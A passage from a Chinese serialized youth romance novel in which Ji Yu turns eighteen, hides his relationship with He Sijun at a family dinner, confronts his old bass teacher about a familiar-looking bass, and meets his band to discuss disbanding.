“如果你不见我,我就马上走,但是如果你同意我来,我就能到得早一点,不用让你等。”贺思钧解释道。 纪羽:“哼,强词夺理。” 贺思钧没有反驳,也没用他惯常的退让方式,只是用他深色的眼珠看着纪羽,低声说:“生日快乐,小羽。” 伸手不打笑脸人,纪羽也没有拒绝贺思钧的祝福,抿着嘴巴漫不经心似的嗯了一声。 “礼物呢?”纪羽开门见山。 贺思钧摘下沉重下坠的书包:“在我包里。” 展舒文送了他一套风格独特的衣服,全世界仅此一套,贺思钧介绍这是展舒文和她标新立异的妈自制的。纪羽展开在身上比了比:“好酷!下次演出可以穿!” 贺思钧看着那堆花里胡哨的装饰,点了点头:“很好看。” 柳承的礼物大差不差,是一双自己织的护膝和围巾,绒绒的很贴肤,纪羽立刻试戴了下,脸上热得起了层红晕。 贺思钧看着他,又说:“好看。” “那当然了。”纪羽喜滋滋地摘了围巾,拿着东西就要走回家里。贺思钧叫住他:“我的礼物你还没拿。” 纪羽上下扫量了他一眼,轻忽地说:“你早上不是送过了吗?” 贺思钧很诚实道:“那本来就是你的花,不能算是我的礼物。” 这么一说,就等于是将自己这些年的照料都抛开不谈了,但这很好地安抚了纪羽。 “你把花种哪了,我怎么没见过?” 贺思钧家里的后院光秃秃的,完全被贺泰安拿来当做了训练场,贺思钧摸爬滚打,把草都给压死了。 “就在公园里,那里没人管,可以种,也不会有人多手去摘。” 纪羽一听就记起来了,之前没地练琴时他就跑去那座公园里,最角落的地方有片花墙,藤蔓密密麻麻攀满了铁网,纪羽当时心里见了这丛花心里就别扭,觉得这花不应该在他家里以外的地方开得这样好,但他又不想说出口显得自私,就不再去那儿待着了。 “我还以为是野生的呢,你怎么不告诉我……” “你看了一眼就转开眼了,我以为你不喜欢了。” 直到前天学校里沉寂许久的三角梅开了花,红的艳丽,层层叠叠地攀上楼,所有人路过食堂时都会惊叹一声。纪羽正是看什么都不顺眼的时候,突然很有好胜心地说:“我觉得还是我家里以前开的花好看,是很浅的紫色的。” 此时纪羽飞快地瞥了一眼仍是光秃秃的院墙,收回视线飞速道:“我可没说,你自己瞎猜的。” “你还喜欢就好。”贺思钧说。 待在寂静的夜色里让纪羽很不适应,他决定快点结束和贺思钧的会面:“你的礼物呢,快点给我吧。” 贺思钧把几本厚本子拿出,包瞬间瘪了下去:“这是从上一届那里要来的笔记,我重新整理过了。” 纪羽翻开来看了两眼,顿时雀跃起来:“葛欣?是那个葛欣的吗,你怎么拿到手的?她可厉害了!高三一年就进步了一百多分,高考和状元比也就差了二十分!” 虽然很对不起状元,但比起一直身处云端的尖子生,纪羽还是更能从中等生奋发图强力争上游的故事里获得动力。其原因大概和百年来逆袭套路为什么广受喜爱,经久不衰差不多。 纪羽捧着那厚厚一沓笔记,心里尤其振奋,末了倒还生出一点负罪感。 今天是特殊情况,从明天起,坚决不能再请假了。 “吴老师教过她,我问了联系方式。”贺思钧把手托在本子下方减轻重量,“对你有用吗?” 纪羽才要开口应当然,却发现自己的表现太过外放,迅速地收敛了神色说道:“还可以吧,学习还是要靠自己的。” 不过贺思钧倒没在意这些,从口袋里又翻出一张卡片:“还有这个,我已经付过定金了,你可以添加上面的联系方式,定一把新的贝斯,或者把原来的那把送去改造。” 纪羽呆了一瞬,正当贺思钧认为他会拒绝时伸手接过了卡片:“好啊。”纪羽轻声说。 当晚纪羽就为了这把还不存在的新贝斯辗转反侧。 第二天一早,纪羽仿佛是被贝斯声轰炸了一晚萎靡不振,徐梁送他上学时很担心地问他要不要在家休息,纪羽拒绝了。 他只是在纠结要一把什么样的贝斯才最完美,但这不是当前的首要大事。 紧锣密鼓的复习进度因即将到来的十校联考更加紧张起来,下课时间纪羽眼睛一眨,讲台上就换了个老师,上厕所的人都是跑着来回的。 纪律送他的表他没戴着,除了在学校里用金属腕表有点显得张扬这个因素以外,最重要的是趴在桌上睡觉时,手腕上的任何东西都会硌到他的脸,影响睡眠质量。 又是一天午休,纪羽难得没有立刻陷入昏睡。 周围沉沉的呼吸声只让他心烦。 起因只是中午食堂里他爱吃的炒三鲜换了配菜,变得很难吃,让原本很期待的纪羽非常失望。尽管柳承还将他最爱吃的糖醋里脊让给纪羽,纪羽也没有动。 他从犄角旮旯里找到意见簿,在上面写了三页问为什么要换配方也还是无法平息他的怨气。 明明上学已经很累了,为什么学校还要在这种小事上惹他! 发型也要管,课间操也不让留教室,现在是吃饭也不给他吃想吃的,一天到晚就会给他找麻烦。 烦!烦!烦! 察觉到肩膀被拍,纪羽的第一反应是回头瞪,贺思钧已经很习惯被这种眼神看着,面不改色地递来一张纸条。 【明天起,出校吃饭吧,我可以买菜到租的房子里做。】 倒是越来越上道了。 纪羽看了一会儿,面色缓和了些,提笔写道:【老师不会同意的。】 窸窸窣窣地传回去,贺思钧很快回道:【没关系,我去说。我买了新的四件套,你还能躺在床上睡午觉。】 躺着睡午觉,纪羽承认自己被打动了。 一中的寝室短缺,给住校生都不够,更别提开放床位用来睡午觉。每次午睡醒来,纪羽都会难受好一阵,最近连小腿也一抽一抽地开始疼。 不过纪羽没有立刻妥协:【我可以让妈妈给我租房子睡。】 贺思钧:【占我的便宜更好,我是免费的。】 谁让贺思钧还续租了,纪羽这段时间可没有再去过出租屋,那都是贺思钧自己的选择。 纪羽:【我才不占你的便宜,我有的是钱。】 贺思钧如今学会了狡猾地引诱:【每天中午你想吃什么我就做什么,好吗?】 贺思钧做饭味道还不错,有些菜外边餐馆也不做,纪羽想了想,在纸上重重写道:【我出钱,算租你做饭还有当闹钟。】 贺思钧:【成交。】—— 作者有话说:小羽:这叫合理利用可支配资源。 第37章 “喂喂喂, 同学们,下午好,我是今天的主讲人……” 话筒发出一声尖锐的啸叫, 赶走了大会堂内大半人的瞌睡。 纪羽拿着笔也在犯困,闻声一激灵醒了过来, 皱紧了眉:“好吵。” 这宝贵的下午时间被耽搁在一通慷慨激昂的励志演讲中也没人多抱怨,毕竟再过两小时就是假期时间。一整个午休没几个人趴着呼呼大睡,笔杆子在卷面上写冒了烟, 纪羽也不例外。 放弃了特供午餐和令人身心愉悦的午觉, 在这乌泱泱挤满了人的大会堂里听讲座,忍受时不时的音响爆裂般的尖锐啸音, 让纪羽本就不富裕的心情雪上加霜。 贺思钧从后边座位递来水杯:“喝点水。” “不喝。” “我加了苹果醋, 你喜欢的。” 纪羽这才从座位侧边接过,喝一口在卷子上写一行字, 喝一口写一行, 喝得差不多了才把水杯还回去,转身时瞥到一旁柳承的卷子。 “你怎么写那么快!”他们俩一块儿开始的, 柳承都写到第三面了, 他还在第二面开头磨蹭。 “我不困,想快点把作业写完了, 明天好带晓怡去动物园。”柳承一和纪羽说话手就协调不过来,一个词写错了两遍, 纪羽不找他说话了。 等到忍着困把一张卷子三页题册写完, 台上的演讲也进入最高潮阶段, 讲师扯着嗓子带着底下的人喊:“我能行!我最棒!我可以!” 纪羽抬手捂住耳朵,心道:我不行,我不棒, 我不可以。 两个小时后,“三不学生”纪羽拖着步子在悠扬的萨克斯曲中慢腾腾地走向校门,贺思钧也配合着他的步调挪。 “你走你自己的。”纪羽也不看他,板着脸指挥道。 贺思钧:“今天我们同路。” 不仅同路,他们还要坐同一辆车到贺思钧家里在同一张餐桌上吃晚餐。 贺思钧安慰纪羽:“别紧张,他不会怎么样的。” “我没紧张,我又不是怕干爸,”纪羽挺直了腰背,试图彰显出自己的气势来,“就是太久没见了,我不适应。” 见他被书包坠得后仰,贺思钧窜步上前扯着包带:“那就好。” 贺思钧乐意提包就让他提,纪羽把书包甩给他,走在前头,脚步都轻松些。 临走到门口,纪羽突然刹住脚步,险些和贺思钧撞到一块儿。 “你和干爸说了你的想法没有,他知道你不打算上军校了吗?” 贺思钧摇头:“没有。” 纪羽把他扯到一边,定定地看着他:“那你打算什么时候坦白,你打算怎么说?” “等我报了志愿他自然就知道了,我会和他说清楚我想要的是什么。” 贺思钧挺平静,像是完全不知道这件事会有什么影响般淡然。 真会装。 纪羽知道贺思钧还有点分寸,不会把他供出来当借口,但也不妨碍他送了一拳头在贺思钧胸口:“先斩后奏,你等着挨揍吧。” 拳头撞在胸口,肌肉和骨骼碰撞发出沉闷的响声。 “那也是应该的。”贺思钧看着纪羽说。 半小时后,纪羽提着半袋没吃完的板栗站在贺思钧家门口。 “把我的书包给我,我自己背。” 贺思钧不给:“就快到了,我拿进去吧,你不是拿着东西吗。” “你怎么又不听我的!”轻飘飘的板栗在袋子里翻滚,纪羽小声斥责,“就是因为到你家了我才要自己背。” 他可不希望在长辈面前留下自己横行霸道的坏印象,一丁点也不行。 “好吧。”贺思钧不太理解这种小事为什么会让纪羽纠结,但他很快妥协把书包还给纪羽。 纪羽刚把板栗塞进书包拉上拉链,就听到乔青燕的声音从门后传出来,原来门没关,乔青燕擦着手推门招呼他:“听你们在门外说了半天悄悄话了,快进来。” 刚背上的包又被乔青燕摘下放到沙发上,纪羽跟在她身后,叫她:“干妈。” 乔青燕把提前切好的果盘端着,不让纪羽接手,看着纪羽缀在她脚跟后头从玄关走到客厅,又跟到餐厅。 “几个月没来还见外了,到沙发上玩一会儿吧,看看电视,你干爸在杀鱼呢,马上来。” 纪羽倒也不用贺泰安来,坐在沙发上叉了块脆柿慢吞吞嚼,眼神跟着乔青燕四处飘。 身前投下阴影,贺思钧拿了条热毛巾来:“擦擦手。” 板栗壳上黏黏糊糊的糖浆手上多少沾了点,纪羽听话地把手伸出去,贺思钧就抓着他的手腕把手指缝一道道擦干净。 “再过一遍水。” 像刀锋互相摩擦挤压发出的声音,冷硬的,铿锵的,又带着砂砾的粗糙感,纪羽听到这嗓音,立刻抽回手,噌地站起来应声:“哦哦。” “没说你,让贺思钧把毛巾再洗一遍。”是贺泰安从厨房里出来了,一身水腥混合着鱼内脏的血水味,湿淋淋地钻进纪羽鼻腔里。 看着纪羽明显被吓到脸色发白的模样,贺泰安也没有多说什么,转身走到楼上去:“我去换身衣服”。 细微的嘎吱也随之远去,纪羽知道那是假肢受力弯曲的声音,和皮肉挤压没有丝毫关联,但心脏仍是紧缩了一下。 贺思钧已经拿着毛巾回来了,把还傻站着的纪羽拉着坐下,毛巾凸起的毛楞刮着手心。 “别害怕。” “我不是害怕。”纪羽小声地辩解。 贺泰安其实对他很好,也很照顾他的感受,除了不小心被纪羽撞见那次,从来不在他面前摘下假肢。如果没有和贺思钧这一层关系,对纪羽来说,贺泰安只是一位有距离感算不上亲近但很崇敬的长辈。 贺思钧隔着毛巾捏了下他的指腹,不轻不重:“嗯,有我在呢。” 就是因为他,纪羽才对贺泰安的观感变得更复杂,竟然还大言不惭地说这话。“等你坦白那天,我看你怎么办。”纪羽绷着嗓子说。 最后纪羽还是又在水龙头下细致地搓了一遍手,还挤了三泵的洗手液。 没过多久纪泽兰和徐梁就到了,纪羽把贺泰安下楼时塞给他的一沓现金的事说了,徐梁让他自己收着。 纪律出差去了没来,因此六个人刚好坐下方桌,不用再搬新的桌椅。 “小羽都满十八岁了,今天得好好喝一杯庆祝一下。”乔青燕抬着酒瓶给纪泽兰倒酒,紧接着就是徐梁的酒杯。 贺泰安不用人倒酒,他自己喝一瓶。 贺思钧附在纪羽耳边问:“厨房里温着糖粑,要拿几个?” 家里其他人都不爱吃这甜腻的,这粑就是专门为纪羽蒸的。 纪羽眼睛一亮:“两个……三个吧,红糖不要太多,也不要太少的。” 贺思钧应了,起身到厨房取,回来时就看到纪泽兰看着他笑着打趣:“小钧看着也成熟了,你瞧瞧,比我们家老大还像小羽的哥哥。” 纪羽这时候全当没听见,接过贺思钧手里的碗,低头呼呼吹气。 “你也不看看他在我肚子里待了多久,满了整十月还不肯出来,最后定了要剖的日子,倒是急了……”乔青燕打开了话匣子就合不上,好在纪泽兰也到了爱追忆过去的年纪,补充着道:“是呢,你手术前一天我还去看你了,小羽一到医院就哭,怎么哄都不好,你抱了以后才不哭了。” “你们一走,隔天一早这小子就呱唧出来了,你说巧不巧,合着还得是小羽把他叫醒了。” “那也是时候到了。”贺泰安说。 乔青燕啧舌:“你个大老爷们懂什么。” 另一个大老爷们徐梁出声:“这也算是好缘分,泽兰没陪你生产还是挺遗憾的,后来再见面思钧都快满周岁了。” “唉,也是,年纪大了能见面的机会就少了,”乔青燕把手搭在纪泽兰手背拍了拍,“不像小时候能天天腻在一块儿了。” “那得多亏了小羽和小钧关系好,幸好没生对冤家出来,要不咱们可怎么办哦。” 纪羽还在和红糖粑又糯又韧的皮儿作斗争,一抬头注意到长辈的视线都落到自己身上,茫然地眨眨眼。 “慢点吃,喝口汤。”乔青燕打了碗汤叫贺思钧替他接过去,笑盈盈地接着说:“前段时间两人也吵呢,这小贺同志就随他爹了,天天摆张臭脸。” “小孩嘛,吵架很正常,关系越吵越好,小羽和他哥就没有好的时候。就算是冤家,不也有欢喜冤家这说法?” 听了这话,乔青燕大笑起来,又说了不少趣事,要把两家的缘分给定下来。 老一辈说话没轻没重的,正是说者无意,听者有心。 纪羽垂下眼睛,长睫掩住乱颤的瞳孔。贺思钧也没有说话,但纪羽知道他在看自己。 长辈的谈笑声都远去了,只剩下他们彼此的呼吸声填满这一块儿边角,空气中流淌着只有他们才知道的沉默。 这能算是什么事儿,亲儿子和干儿子亲到一块儿去了。 虽然纪羽并不是促成这件事的罪魁祸首,但他仍是参与者,是即将毁掉这和睦的缘分的帮凶。 贺思钧的肩膀靠了过来,声音极轻,除了他谁也听不到。 “没事的,别害怕。” 纪羽抬眼想瞪他,余光却看到贺泰安又冷又沉的眼神。他只好随手夹了一根形状并不完美的青菜,用膝盖狠狠地撞了贺思钧的大腿。 纪羽没有做任何口头上的回应,坐实了他有一点害怕的事实—— 作者有话说:我证明,小鸡是被强迫的! 第38章 害怕归害怕, 心虚归心虚,纪羽也不会傻到将事情和盘托出。 他都十八了,有点小秘密很正常。 当前最要紧的事还是考试。 中秋并国庆假期的第一天, 纪羽睡到早上十点起,安安静静地在房间做了一天卷子, 叫徐梁可怜不已,每隔一个半小时就上来送点吃的喝的,第三次登门时被纪羽轰出去了。 这天晚上, 贺思钧发来一串地址, 纪羽和他约好在第二天的早上八点见面。 翌日,中午十一点一刻, 纪羽慌慌张张跑下楼梯。 脚一趔趄险些摔了, 手把到扶手的同时,另一双手前伸要接住他。 “你没走?”纪羽站稳了, 迈下最后一节台阶。 贺思钧收回手:“你说了要等你一起去。” 纪泽兰和徐梁不是闲得下的人, 两人一回来,韩姨就放了假。 厨房里炖着汤, 两人在院子里搭篱笆, 贺思钧刚才就在帮忙。 进入仲秋,气温明显下降, 徐梁仍是热得满脑门子汗,见到纪羽过来示意他站远点:“爸爸身上脏, 你先去盛汤晾一晾, 先喝一碗垫垫肚子。” 纪羽在这小事上很听话, 看了一眼满草坪的木屑,应了一声就收起好奇心走人。 还没走到厨房,贺思钧已经端着汤碗出来:“到哪里喝?” 估摸着徐梁和纪泽兰还要收拾一会儿:“放茶几上。” 纪羽在客厅沙发前的地毯上坐下, 贺思钧已经打开了电视调好台。 “不烫了,可以直接喝,提前盛出来晾过。” 纪羽就直接上手揽着碗喝。 “你什么时候来的?” 见纪羽没有反对,贺思钧在他身边坐下:“七点五十。” 他在柚子树下等了一会儿,就碰上了买茶回来的纪泽兰、徐梁,两人把他迎进来坐了一会儿就自己忙自己的。 纪羽昨晚想七想八地没睡好,报复性地玩了会儿切水果,入睡时都快天亮了。 嘴上被咬掉死皮的地方有点疼,纪羽垂眼,呼着气,闻言侧目道:“你和我爸妈怎么说的?”让人等几个小时,显得他是个多坏的人。 贺思钧不作他想:“我说找你玩,没什么事。” “哦。”勺子拿拿放放地烦了,纪羽索性让贺思钧把勺子拿走,自己捧起碗把汤喝了。 只这一碗汤下肚,撑得纪羽午饭也没吃几口,赶着贺思钧就出了门。 出租车上晃荡着,纪羽感觉肚子都涨得慌,就拿审讯贺思钧转移注意力。 “你怎么找的贝斯手,我怎么不知道你有这么大能耐。” 贺思钧老实道:“我打电话给曲坚,问他有没有空。” “他怎么说?” “他让我五千以下的活别找他。” 曲坚算是纪羽的引路人,要不是他艺术之情无处安放四处卖艺,纪羽也不会对贝斯感兴趣。他会的第一首曲子就是曲坚手把手教的。 不过他倒不知道,当年一个包子都要掰两半分顿吃的曲坚,居然也有那么硬气的说这话的一天。 当初要没有纪羽交的那点课时费,曲坚怕是连房租都付不起了。 但即便有如此深厚的情谊在,纪羽一出师,曲坚连个短信都懒得回个标点符号。 总之曲坚不是个好相与的人,纪羽也不知道他的近况。 “然后呢。”纪羽被勾起了一点好奇心,之前只顾着和贺思钧怄气,倒没仔细问过这其中的细节。 “我觉得他是不愿意,我就把电话挂了。在你之前拉我进去的“二手贝斯转卖群”里问,有没有愿意去演播中心上台的,酬劳可以谈,他们把我踢出去了。”已退出的群聊还能查看聊天记录,纪羽看了看他发的消息,觉得情有可原,贺思钧确实挺像那种打哑谜的黄牛。 “不过在这之后就有电话打过来,说这活他接了,在你醒来前,他拍了一张后台的图给我。”贺思钧重新拨了那通电话,已经无法接通。 纪羽把那通电话输入微信查找联系人,搜索显示为无。 会是那个群里的人吗?纪羽对群聊的印象都很一般,对这个玩乐性质的同好群更是没有好感。所有人起先都很友善,但聊着聊着就开始毫无顾忌地说隐私,攀比那些伤痛和刻骨铭心的爱,最后还要玩烂俗的贝斯笑话互相贬低。 纪羽加入没两天就把群退了,倒是不知道贺思钧还在里边,还试图利用这么朴素的关系网。 “……”跟他说的时候还以为多横行霸道,随口吩咐下去就有人办呢,合着都是亲力亲为。 就算人那当时在群里,两个月过去也不一定还找得到,而且只是账号而已,眼下还是到了目的地再看吧。 地址是一串门牌号,在距离市中心很远的一条街,有点偏,但店倒是没少开,巷子里有几家有格调的咖啡店,还有几家古着。 下了车,还要在巷道里走一段路才到。 “我们是不是被骗了?” 纪羽抬头眯眼望着招牌,面色不善。 贺思钧又对了一遍门牌号,还是道:“进去看看再说。” 两人走进“闲人免进琴行”。 进门是近两米高的配件架,右侧挂了整面墙的吉他,没有人出来招呼,纪羽又往里走了走,被背带勾住了毛衣,贺思钧弯腰解救了他。 音响声音开得很大,轰隆隆的,走进来不过半分钟,纪羽就对这家店打了一个差评。 音乐品味真差,一听就知道店主是个很浮躁的人。 “这里。”贺思钧提声道。 纪羽忍着心跳哐哐的不适感,寻着声走过去。 线索没错。 那把贝斯真的在这儿。 贝壳绿的光泽令它在一众深色中格外得漂亮,光泽流淌在漆面,像波光,纪羽凑近了,闻到了护理剂和金属的浅淡味道。 虽然细节上还有微妙的差异,但总体上非常接近。 “不买不让摸啊。”一阵懒洋洋的声从后方传来,无论是语气、声调还是内容都十分欠揍。 纪羽转头,眼前突然黑洞洞的,身体一晃就往前栽。 “哎!” 再缓过神来,纪羽已经窝在躺椅上,嘴里一股甜苦的味儿,他拨开贺思钧就坐起身喊道:“曲坚!” 才说到不久的人就到了眼前,纪羽睁大了眼:“你怎么在这儿?” 曲坚叼着根巧克力棒,一张嘴就往下掉,手忙脚乱地接了才道:“我怎么不能在这儿了?” 就和所有人对玩音乐的第一印象那样,曲坚留长发,瘦得干巴,忧郁的眼神,一股腐朽愤青的酸臭味。 “这店你开的?”纪羽脑袋本来就晕,被音乐轰得更难受,“先把这个破音乐关了行不行!” 曲坚还想再发表一番品味的见解,触及到贺思钧隐含威胁的冷冷眼神后把音响都关了,回来时纪羽还在对一杯热可可横加批判。 “太甜了,我不想喝了。” 贺思钧蹲在一旁换了副面孔:“低血糖喝这个好得快,再喝一口。” 纪羽勉强灌了一口,脸色没再惨白惨白的,还在嘴硬:“我不是低血糖,我吃过饭了。” “对,怎么是低血糖,”曲坚拖了张椅子坐下来,“分明就是太久没见他师父我,太激动了要给我行礼。” 又对贺思钧说:“他不喝给我,旁边这黑店,一杯咖啡就卖五六十,我还没舍得买过呢。” 贺思钧没理他,见纪羽死活不肯再喝,起身接了点水把剩下的可可涮杯水喝了。 曲坚看得啧舌,转头就见纪羽一张脸怼到面前,忙提着椅子后退数步: “男男授受不亲啊。” 什么乱七八糟的,纪羽绷着脸,很是严肃道:“那把贝斯哪来的?”他指着贝斯墙,强调:“就那把最酷的。” 曲坚又站起来走过去:“这把?还是这把?” 眼看着纪羽的嘴巴越抿越紧,曲坚才把手落在中间那把五弦贝斯上:“这把绿绿的啊。” “买的,还能怎么来的,总不可能是我自己做的。”曲坚把贝斯取下,拨了下弦,“这贝斯怎么了,这么看着我?” 纪羽是很不乐意怀疑曲坚的,但曲坚个头和他相差不大,顶多只高了五六七八公分,在舞台上并不算十分显眼的差别,体型更是可以靠穿衣遮掩。 可他的贝斯也是曲坚教的,自然清楚曲坚的水平不低,曲坚能做他的启蒙老师对他的帮助不可谓不大。 曲坚乐理好,弹贝斯很在行,其为人行事也叫人捉摸不透,当初甚至干出过跑进电影院给片尾曲伴奏的事儿。 外形基本契合、技术好、水平高、脑子有病,再加上这家店,曲坚确实一跃成为了嫌疑人榜首。 但动机是什么呢? “你让我想一想再和你说。”纪羽用手撑住脸,眼神放空,呆呆地看着地板。 贺思钧知道他在思考,每回做题卡住时,纪羽就是这样一副模样。 虽然不知道他在想什么,但最好是不要打扰。 关闭了音响的店内显得尤为沉闷,贺思钧扫了曲坚一眼,没有说话,心中已有了考量。 “好了。”曲坚拍了拍手,打破了这莫名的安静。 “你是不是想问,你的这把琴,怎么会在我这儿?” 第39章 曲坚脸上带着一点高深莫测的微笑。 纪羽看着他, 他也看着纪羽。 “你知道?” 纪羽把拳头捏紧了。 “你们那首《白墙》我听过几遍,曲不错,词差了点, 要是我写就不会这么直白。” “你音乐品味很好?”耳膜还一涨一滞地痛,曲坚这不要脸的, 还敢吹。 “啧。”曲坚不乐意了,那张干巴巴的脸上浮起一丝严肃意味,这是要较真的前奏, “给自己艺名取名叫阿雀的人, 出去最好别说贝斯是我教的。” 贺思钧道:“叫阿雀怎么了?” 他觉得纪羽起名很有天赋,既贴切又可爱。 纪羽给了贺思钧一个赞许的眼神:“就是, 叫阿雀怎么了?” 曲坚抱臂:“没有档次。” “有档次的人不会给自己取名Lucifer。” 曲坚鲠了一下, 又道:“我改名了。” 纪羽冷眼看他:“叫什么?不会是赫莱尔吧,拂晓之星?” 曲坚住嘴了。 纪羽:“装货。” 贺思钧:“嗯。” “行了!”曲坚决定给自己泡一杯三倍shot的咖啡, 用速溶粉泡。 纪羽没放过他, 跟在他屁股后头:“你怎么知道阿雀是我的?” 接水、加热,水壶咕噜噜响。 “我教的你, 我还能认不出来?你手指抬一下我就知道你要落哪根弦。” 纪羽瞥他一眼:“我弹的又不是古筝。” 滚烫热水倒进杯中, 瞬间起了一层白雾,曲坚剪开包装袋, 棕黑颗粒融进无色液体,散出苦涩的焦香气。 曲坚看着纪羽吸吸鼻子, 站得离他远了点, 不由笑了一声道:“谁惹你了, 至于跟愤怒的小鸟似的吗?” “你。” 曲坚抬起眉毛:“我?我怎么了?” 纪羽盯着他不说话了。 曲坚喝了一口咖啡,烫嘴,于是放下杯子把目光移到纪羽身后。 贺思钧不紧不慢开口:“七月四日那天, 我给你打了一通电话……” …… “听明白了没,我再总结一下。”曲坚深吸一口气,“我就是替人看店的,这贝斯,老板二手收的,和我半毛钱关系都没,小贺给我打电话这事儿我也没托其他人帮忙,那个小雀二号更是从来没见过,我知道承风那是我闲得没事干。” 纪羽幽幽地:“听明白了。” 贺思钧:“你没发达。” 纪羽:“只是爱吹牛。” 贺思钧:“装神弄鬼。” 纪羽拍了拍贺思钧的肩膀:“不错呀。” 曲坚打开店门:“你们俩,出去。” 秋风呼地吹进店内,纪羽往贺思钧身后站了站,探出个脑袋:“其实,我有件事想和你商量……”- 承风见面的日子定在假期第四日,纪律不在家,纪羽刚过了两天饭来张口、衣来伸手的日子,一天夜里,徐梁就被一通电话急匆匆叫走。 纪泽兰有些心不在焉,韩姨提前返工。 或许是生意上出了什么问题,纪羽没有多想。 就算他着急,也是帮不上忙的。 就算真出了什么事,他也没有多害怕,纪泽兰想把钱再要回去他也会毫不犹豫地给。 虽然破产这种事听起来很遥远,但如果真有那么一天,纪羽觉得自己也不会过得很差。 纪律能过没有钱的日子,他也可以。 因此,他没有表现出担忧,也没去问徐梁究竟去了哪儿忙什么,只是按部就班地做着自己的事。 韩姨还夸他懂事了。 第四天下午四点,纪羽关上家门,坐了四十分钟车到了目的地。 见面的地方是辽光定的,阔绰地选了本地最有名的酒楼。 说是过去一年多没吃过几顿正经的,都这会儿了,怎么着也得吃顿散伙饭,吃顿好的。 纪羽知道他就是嘴上说得厉害,如果真要解散,这一顿饭也没必要吃。 他不是第一个到的,进了包厢,就见贝旬已经在了。 “好久不见。”贝旬站起身。 非常正式的见面问候,纪羽满肚子腹稿忘了一干二净,扭扭捏捏了半天才说道:“也没有很久……” 贝旬话不多,没和纪羽在久不久这件事上纠结:“先点菜吧,你看看要吃什么,等他们来了再加。” 纪羽在贝旬旁边的位置坐下了,把菜单从头翻到尾,又从尾翻到头,抬头问: “你想吃什么?” “我都可以,”贝旬说,“你点自己喜欢的。” 纪羽纠结着眉心,其实也不是没有他想吃的,但是或多或少都有他忌口的配菜,但要让他自己去说清楚又很麻烦。 还不如都让其他人点了自己随便吃点。 贝旬确实没什么很特别的偏好,但纪羽经常看他点寿司,那应该挺喜欢生的,点一份醉虾。辽光无肉不欢多点几份荤菜,至于老麦只要能下酒都行,点几个凉菜。 纪羽记下要点的菜,叫服务员进来,哒哒哒一口气报完了菜名。 服务员前脚出去,老麦后脚就到了。 “就你们俩?” 一进屋,老麦就把外套脱了挂起来,露出一身精壮的肌肉。 纪羽上下打量他:“你又纹身了,这一块要花多少钱啊?” 老麦在他旁边坐下来:“钱不就是用来花的。” 一块儿巴掌大的纹身就要小一千,辛辛苦苦工作一月还不够纹两块臂膀子的,纪羽用一种很不赞成的眼神看着老麦。 “小屁孩。”老麦伸手拍他的脑袋,“别管那么多。” 纪羽躲开了,觉得有必要申明一下:“我成年了,就在前几天。” 老麦看着他,从特意搭配显成熟的低帮靴子、黑长裤到上半身印着字母的深灰卫衣,兀地笑了两声:“那恭喜你了。” 说着从深不见底的裤兜里掏出手机、钥匙、烟盒,最后终于掏出钱包来,从中抽了几张红钞,塞到纪羽手上,“拿着。” 纪羽不要,伸长手臂要塞回老麦兜里,被老麦单手格挡了回去:“给你了就是你的,还给老子算什么,老子再给你变个红包壳才行是不?” 这算什么,收了这钱他像平白矮了老麦一辈似的,纪羽不情不愿。 “行了,别把你那几颗牙都给咬碎了。”老麦习惯性咬了根烟在嘴里。 “也给我一根。” “呸。”老麦扭头把烟吐在地上,“室内不抽烟。” 纪羽淡淡地:“呵。” 才消停一会儿,手机叮咚一响,一条来自贝旬的转账提醒响起,纪羽气得要命,在群里连发了几个红包,没一个人领。 辽光还没到,老麦先要了几瓶酒,放在自己座位底下喝。 “哎哎哎……我知道了…赶明儿我就给您办……哎……哎哎哎挂了,哎明天见啊……” 辽光人没进门,声儿先到了。 推开门时一股呛鼻香水味,辽光华丽登场。 “咳咳咳……” 辽光愣在门口,看着纪羽泪光盈盈:“我特么还没来呢,你们就开始批斗了?!把他说哭这算不算虐待儿童啊?” 老麦起身把他推到门外,过了一会儿,辽光的外套脱了,衬衣皱皱巴巴地沾了水,身上的味儿散了,黑着脸走进来,手里还提着一袋东西,叮呤咣啷响。 砰得往桌上一砸,袋子解开,是酒瓶,辽光深呼吸: “先吃饭!” 菜上得很快,纪羽不动声色地挑挑拣拣,忽略辽光吃着菜时不时发出的冷笑。 一瓶黄酒下肚,辽光胆大包天地数落起老麦:“名不符实,真是名不符实,这把年纪了还不知道柴米油盐贵呢,这酒楼里的酒能点吗,一瓶啤酒占你四十点的利润,败家玩意儿。” 继而眼神径直移过纪羽,飘向贝旬。 “呵。” 贝旬眼也不抬,偏头问纪羽:“再倒点茶?” 辽光感到真切的无视,啪地一拍桌子,纪羽看到他手瞬间通红,脸也红了,硬憋了几秒才若无其事地说道:“那个鸟,你跟班呢,今天可是大事,怎么不叫他一起来了?” 纪羽抬头看他,把茶水放在转盘转了过去。 醒醒酒吧。 “不想叫他就没叫,你要见他怎么不叫他来。”纪羽有时候觉得辽光真的挺会惹毛他的。 像是真被纪羽板起脸来吓到,辽光闷头吃菜,半晌叽歪一句:“怎么也不点个素菜……服务员!” 待十斤木桶饭见了底,辽光终于放下筷子:“聊聊吧。” 热火朝天的一顿饭登时冷了下来,残羹冷炙堆了满桌。 老麦又把烟叼上了,没点火,含在嘴里,没空说话。 纪羽早停了筷子,手臂撑在桌面,抵着头看向辽光。 贝旬吹了一口早就冷透的茶,淡声道:“微博账号底下有留言问,暑期音乐节承风也不参加,是不是想解散,放了好几天没回,现在在热评第一条。” 说来也可怜,没人懂运营,承风的账号除了转发参赛信息就是翻来覆去地感谢乐迷,维持了一年的千粉僵尸账号,在三个多月前涨粉六万,却再也没更新过动态,最后一条微博是纪羽随手拍的一张排练照,配文:决赛见。 停在这一条,再结合承风最后不尽如人意的成绩,显得很是输不起。 热评确实猜得没错,承风确实要解散了。 不过,这是第一次四人坐在一起正式商讨这件事。 或许也说不上商讨,只要纪羽点头。 这就将是以承风为名义的最后一次相聚—— 作者有话说:如果你惹毛了小鸡,小鸡就会毛茸茸地离开! 第40章 三人的目光投向纪羽。 “我还是不同意解散。” 或许是雏鸟情结作祟, 总不能眼睁睁看着它倾覆倒塌。 “我知道我在决赛后一直逃避的行为大错特错,但我也不知道要怎么说,可能确实是我很幼稚, 把关系弄得很复杂。” 在经久不退的高烧和绵延的痛楚里,思绪难免剑走偏锋。纪羽几乎怨恨地在想, 为什么其他人会同意他的位置被替补呢? 难道维持虚假的整体用谎言替代真切的错漏更重要? 他宁愿因为空缺而被置于众矢之的,也不想就这样被蒙混过关。他不想面对承风,就像他不想面对他自己。 没人会责怪一个突发重症的病人, 但纪羽觉得羞耻, 